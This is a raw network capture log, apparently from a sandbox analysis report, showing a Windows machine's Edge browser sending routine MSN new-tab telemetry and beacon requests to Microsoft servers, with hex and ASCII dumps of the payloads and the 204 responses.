2025-01-11 06:55:04 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b53b11aefde742f691044a2640e1f00b&HASH=b53b&LV=202501&V=4&LU=1736578504351; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c6266c38488e418eae2253c5c4737efe; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1006 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.20	62750	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:04 UTC	1025	OUT	GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=1dd19eb1-735b-470f-9209-d9bb436269a4&ii=1&c=7645241228381444372&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:04 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 6283A62186C7469EAEA1D0A55EFC7A2E Ref B: CHI30EDGE0221 Ref C: 2025-01-11T06:55:04Z Date: Sat, 11 Jan 2025 06:55:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.20	58342	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:07 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578506345&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10170 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:07 UTC	10170	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 30 36 2e 33 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:06.344Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":16,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:07 UTC	889	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4baaf45d25be451d85fba3e7f4171dd9&HASH=4baa&LV=202501&V=4&LU=1736578507317; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:07 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0a7e2b5700d44bcbabe4212f65ba448a; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:07 GMT; Path=/;Secure; SameSite=None time-delta-millis: 972 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.20	50206	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:07 UTC	1049	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578506866&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8659 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:07 UTC	8659	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 30 36 2e 38 36 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:06.865Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":17,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:08 UTC	889	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3ac531e5acd947deb9a2a775d0e24cdf&HASH=3ac5&LV=202501&V=4&LU=1736578507863; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:07 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=19937859f87f46d89ca2bda03652137d; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:07 GMT; Path=/;Secure; SameSite=None time-delta-millis: 997 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.20	57238	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:10 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578509354&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10428 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:10 UTC	10428	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 30 39 2e 33 35 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 38 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:09.353Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":18,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:11 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c83f8144f6b647b197765263f26bbc0d&HASH=c83f&LV=202501&V=4&LU=1736578511035; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:11 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=23b02bcf18b3418fad2fbdd9428e3666; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:11 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1681 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.20	61614	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:13 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578512350&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10371 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:13 UTC	10371	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 31 32 2e 33 34 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 39 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:12.348Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":19,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:13 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9c81977b91aa49cab5d6d626ebedbd1a&HASH=9c81&LV=202501&V=4&LU=1736578513359; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:13 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4cab1e29b5c7409a96df5ef61798e78c; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:13 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1009 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.20	62880	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:16 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578515356&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10698 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:16 UTC	10698	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 31 35 2e 33 35 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 30 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:15.355Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":20,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:16 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=27b1239b9ed84d0386a5a054fd2af0db&HASH=27b1&LV=202501&V=4&LU=1736578516402; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:16 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=28ca04c8f2a141a597921f55867158aa; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:16 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1046 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.11.20	64605	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:19 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578518356&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10413 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:55:19 UTC	10413	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 31 38 2e 33 35 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:18.355Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":21,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:19 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=86cef9c567944cdf9dd514ba354632be&HASH=86ce&LV=202501&V=4&LU=1736578519357; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:19 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=aed585d757c34df995f8b9cf65dd7323; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:19 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1001 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:19 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.11.20	54228	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:22 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578521342&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10329 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
